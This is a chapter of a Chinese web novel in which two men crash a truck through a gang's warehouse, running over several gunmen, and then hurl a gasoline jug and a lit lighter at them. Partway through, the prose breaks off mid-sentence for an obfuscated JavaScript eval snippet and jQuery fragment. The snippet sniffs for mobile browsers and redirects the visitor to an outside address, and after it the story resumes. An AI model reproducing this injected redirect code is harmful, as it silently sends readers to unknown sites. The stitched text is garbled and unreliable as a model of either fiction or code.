仓库外头忽然传来一阵异样的轰鸣。
不是**,不是喊叫。
是引擎。
柴油机的低吼,像头被关了一辈子,终于挣开铁笼的老虎,由远及近,越喘越粗。
陈三皮攥着螺丝刀的手顿了一下。
铁皮门边那俩端枪的也听见了,下意识扭头往外看。
院子里那帮正朝烂尾楼压着打的黑影,有人回头,有人还愣着,**逐渐稀疏下来。
“什么东西?!”
话音没落地。
黑暗里,“唰”地劈出两道雪白的车灯。
不是照路,像捅刀子,一下捅穿黑夜的眼窝子。
紧接着是发动机。
油门踩进油箱底了,转速表针抖成残影,要爆,整个车头都在嘶吼。
“这他妈……”
“轰!!!”
一辆东风卡车,车头有凹陷,保险杠歪了半边,水箱格栅呼呼往外喷白汽。
它从仓库外那条坑坑洼洼的土路上不是开出来,是蹿出来,是扑出来。
像冲下山的猛虎。
张麻子把方向盘攥得“咯吱”响,眼珠子瞪得眼眶都撑圆了,嘴里像含了块火炭,骂一个字喷一口唾沫:
“今天撞不死你们这帮、**的!老子、这么多车技、就他妈白练!!!”
刀疤李一手抓着扶手,一手拎着个白色塑料桶,脸上的疤在车灯映照下红得像烫过。
卡车根本没带刹。
“轰——!!!”
铁门连框带铰链,整个飞了。
门口旁站着的两个黑影,连叫都来不及。
一个被车头铲飞,像只破麻袋,飞出去七八米,砸在墙上,墙皮震落一片,人和鲜血一同滑下来,当场没了气儿。
另一个被保险杠顶着。
推着他往前冲了十几米,骨头碎的声音隔着引擎盖都听得见,最后滚进车轮底下。
后轮碾过去,颠了一下,像压了块烂木头,弹都没弹。
卡车没停,继续往里拱。
张麻子眼都不眨,方向盘猛打,东风车头一偏,对准院子中间那辆面包车。
他整个人从座位上弹起来,一脚跺在油门上,跺得座椅后滑,脊背撞在靠背上又弹回来。
“给老子!**!碎!!!”
“咣——!”
铁皮对折,玻璃炸成雪花。
面包车整个横移,连带挤扁了旁边那辆。
第三辆侧翻,底盘朝天,轮子滚出去,还在转。
黑影炸了窝。
有人往仓库门口跑,有人往烂尾楼逃,还有几个反应过来的,调转枪口对着卡车扫。
“哒哒哒哒哒!”
挡风玻璃瞬间裂成蛛网,裂纹一圈圈往外蔓延。
刀疤李一把按下张麻子脑袋,躲到方向盘下。
然而,张麻子像疯了一般,一把挣脱刀疤李的手。
脚下猛踩离合器,挂了倒档,方向盘疯狂打转,轮胎尖叫着刨地。
“刀哥!”
“我要撞死他们!!”
刀疤李没拦。
他知道,张麻子平日里一向胆小怕事,现在之所以变成这样,肯定是连日来太过紧张压抑。
加上半小时前,险些命葬周先生小弟手上,受到了刺激,这会儿急需发泄。
“那就…撞!”刀疤李喉咙里滚出一声,“给老子撞烂他们!”
话音刚落,方向盘打满,卡车甩尾,车斗横扫,“哐哐”又刮倒两个。
黑影们彻底乱了。
有人往仓库里缩,有人往院子外跑,两条腿倒腾得比兔子还快。
张麻子谁都不盯,就盯人多的地儿,方向盘左右轮,轮胎碾过碎玻璃“咯吱咯吱”响。
浑然不觉,腹部中了枪,血流进裤腰,顺着大腿往下淌。
脑子里就一个字:
撞。
撞。撞。撞。
直到卡车一头啃在半米宽的水泥柱子上,车头凹进去一大块,白汽喷了三尺高,保险杠拖在地上,跟死狗似的喘,才刹住。
仓库里外,所有人都愣住了。
这他妈是人还是牲口?
但,刀疤李没愣。
他立即从副驾驶探出半个身子。
手里拎着个东西。
不是**。
是一只白的,半透明,磨得发毛的塑料水桶,上面印着红字“某某纯净水”,边角磕瘪了好几处。
是张麻子跑长途装凉白开用的,灌满能喝一路。
此刻,桶身被透明胶带缠了十几圈,像个粽子,封口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252745|197368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处塞着团破布,绳子穿过提手,系了个死扣。
刀疤李抡圆了胳膊,身子后仰成一张弓,像投垒球。
他扬手。
桶脱手,飞出去,在空中划出一道弧线。
不高,不低。
刚好越过院子中央那堆被撞烂的面包车残骸,越过几个刚爬起来、还没站稳的黑影头顶。
这一刻,时间像被人掐住了喉咙。
所有人都仰着头,看着那只桶。
桶里没有水。
是澄黄澄黄的液体,晃荡着,撞得桶壁“咕咚咕咚”响。
封口那团破布被风扯出半截,滴下几滴液体,亮晶晶的。
随即,一股刺鼻的气味飘进每个人鼻腔。
“这、这这……”
“是、是汽油!!!”
不知谁撕开嗓子嚎了一嗓子。
有人下意识想躲,但更多的目光全跟着那只桶。
一颗脑袋仰起来,又来一颗。
枪口,忘了扣**。
腿,忘了跑。
嘴张着,喊不出声,只求那个装着汽油的水桶不要砸到自己头上。
这时。
陈三皮从仓库深处的黑暗里探出半张脸,隔着铁架、隔着硝烟、隔着满地的碎玻璃和还没凉透的尸体,也看见了那只桶。
还有桶后面,刀疤李的手,它正往裤兜摸。
摸出一样东西。
银色的。
廉价塑料壳,印着个穿泳装的女郎,脸蛋都磨花了。
是,打火机。
刀疤李拇指轻轻一搓。
“嚓。”
火苗应声蹿起来,黄豆大小,橘黄色的,在夜风里摇了摇身姿,没灭。
他不急。
他在等。
等那只白桶飞到最高处,在半空悬了那么一下,桶底微微倾斜,又洒下一片细密的油珠,像下雨。
然后,刀疤李扬手。
不是扔,是送。
打火机脱手,慢悠悠的,翻转着,在空中拖出一道细细的橙黄色光尾。
像萤火虫,像飞蛾,又像这辈子最后一次点火。
追着那只桶。
追着那半截滴油的破布。
追着院子里所有忘了呼吸的目光。
桶,还在飞。
打火机,还在追。